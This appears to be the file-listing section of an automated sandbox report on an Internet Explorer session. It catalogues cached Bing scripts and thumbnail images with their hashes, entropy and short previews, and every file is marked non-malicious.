SSDEEP:	192:x20iniOciwd1BtvjrG8tAGGGVWnvyJVUrUiki3ayimi5ezLCvJG1gwm3z:xPini/i+1Btvjy815ZVUwiki3ayimi5f
MD5:	9234071287E637F85D721463C488704C
SHA1:	CCA09B1E0FBA38BA29D3972ED8DCECEFDEF8C152
SHA-256:	65CC039890C7CEB927CE40F6F199D74E49B8058C3F8A6E22E8F916AD90EA8649
SHA-512:	87D691987E7A2F69AD8605F35F94241AB7E68AD4F55AD384F1F0D40DC59FFD1432C758123661EE39443D624C881B01DCD228A67AFB8700FE5E66FC794A6C0384
Malicious:	false
IE Cache URL:	res://ieframe.dll/httpErrorPagesScripts.js
Preview:	...function isExternalUrlSafeForNavigation(urlStr)..{..var regEx = new RegExp("^(http(s?)\|ftp\|file)://", "i");..return regEx.exec(urlStr);..}..function clickRefresh()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..window.location.replace(location.substring(poundIndex+1));..}..}..function navCancelInit()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..var bElement = document.createElement("A");..bElement.innerText = L_REFRESH_TEXT;..bElement.href = 'javascript:clickRefresh()';..navCancelContainer.appendChild(bElement);..}..else..{..var textNode = document.createTextNode(L_RELOAD_TEXT);..navCancelContainer.appendChild(textNode);..}..}..function getDisplayValue(elem

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\k5oM71-Oyo7w7ptkcB_2S5dIr7I.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	downloaded
Size (bytes):	21824
Entropy (8bit):	5.243380331742482
Encrypted:	false
SSDEEP:	384:HXpeDC+2uguwBYFsOZrSzz3wp0OxAmzjEHU:HXpeDz2gFsOZrOXWz4HU
MD5:	071CABC528DA3CDD5BD5C7F0EC48ED96
SHA1:	8B665A2DA630D6711E01E838877510F48C40E9CE
SHA-256:	9871F6289648EEA5CB484C2307C4E7BCDF3857AEB27EB07E0ACFD4C1B77EDBB5
SHA-512:	771DA4D3B22B53C5B1B1D2DF1B923B78124A7F92576700F7E988A1E40C2806CB2366D52C556F1FD49862B1A584D871ED7207B54174172740B4ED125AAD4C531F
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/k5oM71-Oyo7w7ptkcB_2S5dIr7I.gz.js
Preview:	(function () {.. if (typeof window !== 'undefined') {.. (function (arr) { arr.forEach(function (item) { if (item.hasOwnProperty('remove')) { return; } Object.defineProperty(item, 'remove', { configurable: true, enumerable: true, writable: true, value: function remove() { if (this.parentNode === null) { return; } this.parentNode.removeChild(this); } }); }); })([Element.prototype, CharacterData.prototype, DocumentType.prototype]);.... !function(e,n){"object"==typeof exports&&"undefined"!=typeof module?n():"function"==typeof define&&define.amd?define(n):n()}(0,function(){"use strict";function e(e){var n=this.constructor;return this.then(function(t){return n.resolve(e()).then(function(){return t})},function(t){return n.resolve(e()).then(function(){return n.reject(t)})})}function n(e){return!(!e\|\|"undefined"==typeof e.length)}function t(){}function o(e){if(!(this instanceof o))throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)throw new Type

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\pXscrbCrewUD-UetJTvW5F7YMxo.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	511
Entropy (8bit):	4.980041296618112
Encrypted:	false
SSDEEP:	12:yWF4eguIWKvU9bEMsR5OErixCvJO1Vi5rgsM:LF4mKctEMYOK4CvJUVYM
MD5:	D6741608BA48E400A406ACA7F3464765
SHA1:	8961CA85AD82BB701436FFC64642833CFBAFF303
SHA-256:	B1DB1D8C0E5316D2C8A14E778B7220AC75ADAE5333A6D58BA7FD07F4E6EAA83C
SHA-512:	E85360DBBB0881792B86DCAF56789434152ED69E00A99202B880F19D551B8C78EEFF38A5836024F5D61DBC36818A39A921957F13FBF592BAAFD06ACB1AED244B
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/pXscrbCrewUD-UetJTvW5F7YMxo.gz.js
Preview:	var BingAtWork;(function(n){var t;(function(n){function t(t,i){var u,r;t.isAuthenticated&&(n.raiseAuthEventAndLog(t),u=_ge("sb_form_q"),u&&(r=u.getAttribute("value"),r&&(n.fetchLowerHeader(r),n.fetchScopeBar(r),i.notifEnabled&&i.notifFetchAsync&&n.fetchNotificationConditional())))}function i(n,i){n&&n.length==2&&t(n[1],i)}n.bindToConditionalSignIn=function(n){sj_evt.bind("ssofirstquery",function(t){return i(t,n)},!0,null,!1)}})(t=n.ConditionalSignIn\|\|(n.ConditionalSignIn={}))})(BingAtWork\|\|(BingAtWork={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\swyt_VnIjJDWZW5KEq7a8l_1AEw.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	2298
Entropy (8bit):	5.34865319631632
Encrypted:	false
SSDEEP:	48:KWEkTScZVcMBOwXhzwBi88RnX8ec0T39B8onA008xG9FLCx3w0S5xJ:KWEkTDZVXpR0BiXjTtB8mA0zxWsx3PG/
MD5:	A8D7D1B3681590980B2D7480906078DB
SHA1:	C9A7A400DB1EBAD4DCA028546EE5F5B2EF4136BD
SHA-256:	1390485DC88B6230389D9C95232A3710BF38D47271708A279B12D7E68E43F649
SHA-512:	710D31EFD76614EC4C94888E2FCC49ABAB50EF406FC0F1C5C10D8AA21D4E9F349DE78068B2BAFE495C074AB4E6EC0A5D44EB5506B2D79C78707A23C1D8206664
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/swyt_VnIjJDWZW5KEq7a8l_1AEw.gz.js
Preview:	var Bnp=Bnp\|\|{};Bnp.Global=Bnp.Global\|\|{};Bnp.Version="1";Bnp.Partner=Bnp.Partner\|\|function(){function u(n){sj_evt.fire("onBnpRender",n)}function i(n){var r=r\|\|{};if(typeof r.stringify=="function")return r.stringify(n);var o=typeof n,u=n&&n.constructor==Array,f=[],e,t;if(o!="object"\|\|n==null)return o=="string"?'"'+n+'"':String(n);for(e in n)t=n[e],t&&t.constructor!=Function&&(u?f.push(i(t)):f.push('"'+e+'":'+i(t)));return(u?"[":"{")+String(f)+(u?"]":"}")}function o(n){for(var r=[],u=n.getElementsByTagName("script"),t,i;u.length;)t=u[0],i=sj_ce("script"),t.src?i.src=t.src:t.text&&(i.text=t.text),i.type=t.type,t.parentNode.removeChild(t),r.push(i);return r}function s(n){for(var t=0;t<n.length;t++)f(n[t])}function f(n){t=t\|\|_d.getElementsByTagName("head")[0];t.appendChild(n)}function h(n){for(var t,i=0;i<n.length;i++)t=sj_ce("style"),t.type="text/css",t.textContent!==undefined?t.textContent=n[i]:t.styleSheet.cssText=n[i],f(t)}function c(){sj_evt.fire("onPopTR")}var n="dhplink",t,e=2500,r=

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\th[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	4355
Entropy (8bit):	7.900585011984252
Encrypted:	false
SSDEEP:	96:pPE2WJmwonMcP1FpJlLr+cIrDFU1Zgk6qe:pPqJfvcPzlpIrDMOk6qe
MD5:	A8AF8B0E212D16641FFF14C692653A31
SHA1:	7F43B7DB65F94F5579B8F338EAEF385F3582573C
SHA-256:	DCA522E3D710326E3009DBEAFD627F940907F615F9922201F636D6352DF50A77
SHA-512:	943633BF7A4E4ABBD086DA138FA68D23A0889CFE815505D641F907241506FB3C9324D6C289F3FE42D86480426F3B8F467AEF1B86626018AD6DC22D47FD1ACF3A
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1flnql.img&ehk=e56b2FA%2fdQ8S1%2bJCLPLA5GewBcI71RQ%2fTmEAxvevKks%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....,.,.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....H.4.(..J.(..P.....\P.R...p.I.(....ej^%..v.,\L.6.S.....hu}N..X.D=...5..Z.F.....B+%u....E ...U.MN.......<..~.....D.E4...i. ..H....LdDTdT.Tl)...)....O...<.d...(.... ..1KH..ex..[M0El..o%.y......Z...n.0TE,.z(.$.+{.G....$.G..z6{.9.'b....4.,U.UY.......k&.2...sZP.:g..Z.6.$..J..+'Q....E2....-........a.^5......7.z.cW.bi..n...H..?..Z.S.+1..i.E2F.Q..M1..!".q..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\th[2].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	4858
Entropy (8bit):	7.912860451432217
Encrypted:	false
SSDEEP:	96:pPE/rJtrOaBegYjEZcV2CWr45p5VrbFU4/PbFI+tMpg:pPYKaBeXE6d59bLui
MD5:	C27EAAD7FDCAD067348EB8426A6643DD
SHA1:	D5362D86359F58F1F08EBC9E9F7627F61CB70909
SHA-256:	20EA77BAF0828E450BB7EB0895759B7C760D1F4C00B1EF5366F91B2F23B30429
SHA-512:	AF46A7A9FAEF467FBBA40194C4B8E6A57EDF476ACC10CBEE4CADF87E8CFFA5DBCCB6EC6601944724148F59E8EBCB317442F88BE272657EC4A9EDC841B984FBD2
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fkGpp.img&ehk=EoXsvHvTz25OeDlk8%2f1AsQ0JRbPiNyy0iD13c2N9OGI%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....`.`.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..%8&jP....p..u..p"..z....e.....`.1....:.....J.O3.........k......6I.J0..1..&K..(P...GS[..b.(.".....`zT.........I...3..}g<ig.M.r....~5.....[.....sz.f^.............(^Cg..{...1.....n1.`..A..I....m+;Gx......3..q[..!.p.......G..>VrU.+..).*..iZ.9lU)L)V.SJS$.R.V...2S..J.E...]...sEJR..:5L... ....)..@..s]\|i..W..d7.<k.v.=z.....p.=l..,L.].....4...L..c.Q....j..}.%.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\th[3].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	6319
Entropy (8bit):	7.921601448672384
Encrypted:	false
SSDEEP:	96:pPE3Um+CGqdS0RiboPJ5pa8ao3aO+MmlFKzJC1u/b8D8z2Lu0J+Vwe7qC:pPWrpU+5Rao3/LmuzJCM/bzgAz
MD5:	35639C3C895B57D5E4B5F764ABE5D940
SHA1:	269D5DE5F01924ADF9665A9F4D163EA553794BAA
SHA-256:	EA18037D4EB9771263CCA340B2AD31DA0CA807DAE7CDF8FD437266A853DE3D00
SHA-512:	6EB07EF59332D95985DA086B8FC1CA8A762D31CC6FCC14418C736CF211FB5B06381F876BF77C334C7140800BA5DBDEB1EAF07A401E47F0C4ABDEAD2D83638982
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fkJLx.img&ehk=ab4NFwKPiOUcoMjMzCCRK%2fouai5ROn4RlXwrt3nrHLY%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....,.,.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....L..]..:0..!t3<.....?x}k....tEgv..")ff'........s.....Q..=...S....W.z....x...........X......}..Z......[}....\......>....X(6i.lbi..u[..P...O...y..E..l...%..:....Qwu.?...qz..u._r.\|.B...........M(..$.p...).9.z....zW......[......?C.m...dE..(.h.M.....v<..q..S6Yn...G.<....T.>V..\|T.O]>............-.....j.?L..X....S.@.H...L...P".Y..TT...~O..!..n....ecp.n..H...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\th[4].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	4662
Entropy (8bit):	7.906652539569635
Encrypted:	false
SSDEEP:	96:pPE9fuJsPbx60IPg+MMuPecZoXnNRLW/wG+fWRY:pPaf7bx6rg+7XnNRnGRY
MD5:	49A2DFF8082FCF50F4311C7867ECEDAD
SHA1:	A125B14C82BFB9A78C711C13CC479FDD1C9266EA
SHA-256:	442192ACEE743DBF8DBEC6A3BA8212AF4FDCFA1E08E96894168F11011176F525
SHA-512:	088A01E123048CB37238D611B7F01218EEDDF846FF42875AEDB756D91819B06A131ED272067E66C76C538112C14F676213D6EC5EA4B0D353B68E7BE056F0F08A
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fkzlb.img&ehk=VW7SkyKxbL7LXUGh4v%2fSqtV2Ju%2b%2fdtlvyipIBuf1oQo%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.............C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....4..@.j.=AA9$....M..R.1..&...M#....:.C..@..?.!.=i.A.j..-........`...".".sH.)s.Oj.z...T.O4...N.....wz.6.....=.....@.....E .(.P.w.M'&.z.Zg.4.....Tc.g.L..ny.(.i......C[..e.G...7{..Y.Ff.P...}.vvL..G....K.6.,..........a@..jve. .#"...c.m.8.X{.T..b..9....+..4X%?....Eq.v..N.L.#......P.T..<W/.L...>e9..{..ja<.j3..,Py.. ...h.t..J8...~R=...i..v.0.4Ss..RP..iI.R..9{.S..j^.CG

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\th[5].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	6321
Entropy (8bit):	7.930428341817175
Encrypted:	false
SSDEEP:	96:pPEFWBYC3qBZJigkG/FdQS5zwu3LHBaWc4TUpz35BH7zQx5+FixuTKn7xF:pPGYYCaHsSdQSy8LHBaV4TU15tnQub2F
MD5:	AFF39E85868825504E8463C5CDD11BD7
SHA1:	DEF891B9A50BA0F8DA20DC93D5DFD80FFE330478
SHA-256:	17C3E9E4228BCBF6E56795D6D8539791483D4B1A07E4A542F32282D99C94FB75
SHA-512:	019D7C4382FEEC7EA3E7E26C20620327A9644A10AA13AEA9161C70DB8AAAD22BE452D4AF3D25E2C153C875BBA7D7C4B68D1EB2E128A212FB3E95C1F2568D9EB7
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fkGZS.img&ehk=QmtuVlo%2bL0J6PRmZTHf5eMhHSpsWN3gSG5N88RqgPWU%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....,.,.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..4.._.]...O..X...k...^=.D........k.m.H..$....C.kP[I,%.K..........G\....x..v....B.......?..uT....K.q.Kn".YV01.x.3A..O.I.a:......R.!.#.e..YSqv{y....=y^...f......W.Yx...!.d.........+..\.....h.....S.L../X{.2..V...^.q../Q[...f.....)...m..z..#.d.......v.~&.......#.V..A..z..W.i..O.B.HF2Y....T. ..FO..7....*G...xJ....r}.........;....';...P..N.G.R?..T.fq..........x

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\th[6].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	5109
Entropy (8bit):	7.913384769447657
Encrypted:	false
SSDEEP:	96:pPELkaw+eKa2pvAJqZbK+VEYjHOxNtlurSUmBjQFr5i8T:pP0kaw+eKXfG+VEYyx1eSUmBI5/T
MD5:	27368154F2C3CF4EDEBC0A95CED35B43
SHA1:	5CAE3ECA10C9A32BC77AF7AEE1E2944590B8BD37
SHA-256:	4406423DC5F852B966777DE5272126839793C96251AB2F063A099C347BE396D9
SHA-512:	8313894648ADD4EF180464FA901403AB911B67A256DE09ACA665D66BA9EAEAE62A67624C3985F3E22BE537E4E8764FD32BD85C06BE7C3CD37A2418FDAD963E0C
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fk2g2.img&ehk=6LEOa661FEfcyTEYPdN22SbtYfGFBqG3UnhDMs6fDjo%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....`.`.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...<V>..........l..y5..t.z.K.Z.o.8.Y....]N.e"^Jv....:.+..$K..m..v.}..v./0R._j.....w.?...=.0.g.E>`..>...P>.Gc]..3.mb=......Jq..M.H=k.k..B.dg.8.N.....3o .]..z.P..?.O.9N(...M7i...}..v.}...\|..9z+.}.....b;Q..cQZm.7....X...X.......1.c..IIK..k...b3.k.x..N{5q..\|.\.:1.5Y.eQ..\.'...&..~.O+..9u.{...a].......\|:.8Z,3.....C..l.....[z..V.-...Q.....x.......Y.g..q....mN.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\6sxhavkE4_SZHA_K4rwWmg67vF0.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	20320
Entropy (8bit):	5.35616705330287
Encrypted:	false
SSDEEP:	384:Kh4xTJXiXZ4sb4ZENXjTDDoFWZ3BnqIfP5IDV6s4RKAvKXAL5Nuwbv++9O:YoTdiJpjBpBnqIH+Z6se4XALueO
MD5:	07F6B49331D0BD13597934A20FAC385B
SHA1:	B39E1439D7FC072AF4961D4AB6DE07D0BC64B986
SHA-256:	4752E030AC235C73E92EC8BBF124D9A32A424457CA9A6D6027A9595DA76F98D7
SHA-512:	333B12B6BC7F72156026829E820A4F24759E15973B474E2FFB264DEE4C50B0E478128255E416F3194E8C170A28DF02AA425D720CC5E15BC2382EA2D6D57A6F5B
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/6sxhavkE4_SZHA_K4rwWmg67vF0.gz.js
Preview:	/!DisableJavascriptProfiler/.var BM=BM\|\|{};BM.config={B:{timeout:250,delay:750,maxUrlLength:300,sendlimit:20,maxPayloadSize:14e3},V:{distance:20},N:{maxUrlLength:300},E:{buffer:30,timeout:5e3,maxUrlLength:300},C:{distance:10}},function(n){function vt(){if(!document.querySelector\|\|!document.querySelectorAll){k({FN:"init",S:"QuerySelector"});return}w={};e=[];ft=1;ut=0;rt=0;o=[];s=0;h=!1;var n=Math.floor(Math.random()*1e4).toString(36);t={P:{C:0,N:0,I:n,S:fi,M:r,T:0,K:r,F:0}};vi()}function ei(n,t){var r={};for(var i in n)i.indexOf("_")!==0&&(i in t&&(n[i]!==t[i]\|\|i==="i")?(r[i]=t[i],n[i]=t[i]):r[i]=null);return r}function oi(n){var i={};for(var t in n)n.hasOwnProperty(t)&&(i[t]=n[t]);return i}function b(n,t,r,u){if(!h){k({FN:"snapshot",S:n});return}r=r\|\|gt;t=t\|\|!1;var f=g()+r;ot(o,n)===-1&&o.push(n);t?(yt(),pt(t,u)):f>s&&(yt(),rt=sb_st(pt,r),s=f)}function k(n){var u={T:"CI.BoxModelError",FID:"CI",Name:ht,SV:ct,P:t&&"P"in t?d(t.P):r,TS:f(),ST:v},i,e;for(i in n)u[i]=n[i];e=d(u);wt(e)}func

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\JDHEvZVDnqsG9UcxzgIdtGb6thw.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	408
Entropy (8bit):	5.040387533075148
Encrypted:	false
SSDEEP:	12:2QWV6yRZ1nkDXAn357CXYX0cO2mAICL2b3TRn:2QO6P+5OYXJPi3TRn
MD5:	B4D53E840DB74C55CC3E3E6B44C3DAC1
SHA1:	89616D8595CF2D26B581287239AFB62655426315
SHA-256:	622B88D7D03DDACC92B81FE80A30B3D5A04072268BF9473BB29621E884AAB5F6
SHA-512:	4798E4E1E907EAE161E67B9BAB42206CE0F22530871EEC63582161E29DD00D2D7034E7D12CB3FE56FFF673BC9BB01F0646F9CA5DAED288134CB25978EFBBEC8F
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/JDHEvZVDnqsG9UcxzgIdtGb6thw.gz.js
Preview:	(function(){function u(){n&&(n.value.length>0?Lib.CssClass.add(sj_b,t):Lib.CssClass.remove(sj_b,t))}function f(r){n.value="";Lib.CssClass.remove(sj_b,t);sj_log("CI.XButton","Clicked","1");i&&Lib.CssClass.add(i,"b_focus");n.focus();n.click();r&&(r.preventDefault(),r.stopPropagation())}var i=_ge("b_header"),n=_ge("sb_form_q"),r=_ge("sb_clt"),t="b_sbText";n&&r&&(sj_be(r,"click",f),sj_be(n,"keyup",u),u())})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\MDr1f9aJs4rBVf1F5DAtlALvweY.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	257
Entropy (8bit):	4.781091704776374
Encrypted:	false
SSDEEP:	3:qMH4WXMHwmnIB4JmhyfAIB4Jmml0X2IUJIB4JrNOsK1A4JWW7jKYHVA4JRGYdA4S:q6XzD4jr43ldI74FNQlNj7jM9TlMlbSr
MD5:	51A9EA95D5ED461ED98AC3D23A66AA15
SHA1:	62FBB857B873BD79BEE7F16D0766A452FA2798A3
SHA-256:	A5B4181611E951FAECD6C164D704569C633E95FE68D3D1934B911A089EBF70E8
SHA-512:	CEE4231894F82627E50EC746D7C150E5303A1BF8864D7B084173B9D17663A27CC2915F5D0D4DC0602FE26D9EAA10DD98CF3422E7601F520EF34D45C9A506D6F7
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/MDr1f9aJs4rBVf1F5DAtlALvweY.gz.js
Preview:	var BM=BM\|\|{};BM.rules={"#sc_hdu":[-1,-1,1],"#hp_id_hdr":[-1,-1,1],"#hp_container":[-1,-1,1],".hp_sw_logo":[-1,-1,0],".b_searchboxForm":[-1,-1,0],"#crs_pane":[-1,-1,0],"#sb_foot":[-1,-1,0],"#sh_rdiv":[-1,-1,0],"img,div[data-src]":[-1,-1,0],iframe:[-1,-1,0]}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\RXZtj0lYpFm5XDPMpuGSsNG8i9I.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	1220
Entropy (8bit):	5.024732410536042
Encrypted:	false
SSDEEP:	24:6Vj1V5FrGj6BBEEo6maDU6CWi4dDRRE0Slc7qHy5++vY:8v5TBG6U6C+DLSiL+P
MD5:	E34F2CDADA9986F52CCFAB129645ABAC
SHA1:	93FF6CA74EB48A6825F9BC21BEE52159987C0A82
SHA-256:	79C181E7D29CF735AE99FD86C42934D7FD6FB51E6481D788E1CB812C7DC63DF6
SHA-512:	671EF1DB12BEE74E8E6BAEE8850F4F6A278E51F2236A851A24D889CE40040273088B2D206F2AA42BD1475F4F88F7B4420BC4CE6922023DE205308C56A3C96A4C
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/RXZtj0lYpFm5XDPMpuGSsNG8i9I.gz.js
Preview:	var Feedback;(function(n){var t;(function(){"use strict";function u(t,i){var u=t.getAttribute("id"),f;u\|\|(u="genId"+n.length,t.setAttribute("id",u));f=new r(u,i,t.getAttribute(i));n.push(f)}function i(n,t,i){i===null?n.removeAttribute(t):n.setAttribute(t,i)}function t(n,t,r,f){for(var e,s=_d.querySelectorAll(r),o=0;o<s.length;o++)(e=s[o],f&&e.id&&f[e.id])\|\|(u(e,n),i(e,n,t))}function f(n){for(var u=_d.querySelectorAll(n),e=1,f={},t,i,r=0;r<u.length;++r){if(t=u[r],!t.id){for(;;)if(i="fbpgdgelem"+e++,!_ge(i))break;t.id=i}f[t.id]=t}return f}function e(){var i="tabindex",r="-1",n=f("#fbpgdg, #fbpgdg *");t(i,r,"div",n);t(i,r,"svg",n);t(i,r,"a",n);t(i,r,"li",n);t(i,r,"input",n);t(i,r,"select",n);t("aria-hidden","true","body :not(script):not(style)",n)}function o(){for(var r,t=0;t<n.length;t++)r=_d.getElementById(n[t].id),r&&i(r,n[t].attributeName,n[t].originalAttributeValue);n.length=0}function s(){typeof sj_evt!="undefined"&&(sj_evt.bind("onFeedbackStarting",function(){e()}),sj_evt.bind("onF

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\a282eRIAnHsW_URoyogdzsukm_o.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	423
Entropy (8bit):	5.117319003552808
Encrypted:	false
SSDEEP:	12:2gSYjthM4GF4aaXtdhI9DfaUZnsMQYAQI:2gSW/bS9/ZnsMAj
MD5:	3A5049DB26AF9CE03DB6A53D3541082D
SHA1:	934DAEA4EDDE2568CA02AB89AF23FDCFEB57339A
SHA-256:	AF8C36DEFED55D79106513865F69933E546E1E4C361E41C29F65905DED009047
SHA-512:	5E21B6E184CBB0013DCCE174345DAC14BB64D391CCA3B253F73C7373253FDCA5E0BB297A0BD2FAD237E4F796895807660369680621C49C8F99DF428ED3218C9E
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/a282eRIAnHsW_URoyogdzsukm_o.gz.js
Preview:	(function(n){function i(){var e,o,u,s,f,r;if(document.querySelector&&document.querySelectorAll){e=[];o=n.rules;for(u in o)for(s=o[u],u+=!s[2]?"":" >*",f=document.querySelectorAll(u),r=0;r<f.length;r++){var i=f[r],h=0,c=0,l=i.offsetWidth,a=i.offsetHeight;do h+=i.offsetLeft,c+=i.offsetTop;while(i=i.offsetParent);e.push({_e:f[r],x:h,y:c,w:l,h:a})}n.enqueue(t,e)}}var t="L";n.wireup(t,{load:null,compute:i,unload:null})})(BM)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\down[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 15 x 15, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	748
Entropy (8bit):	7.249606135668305
Encrypted:	false
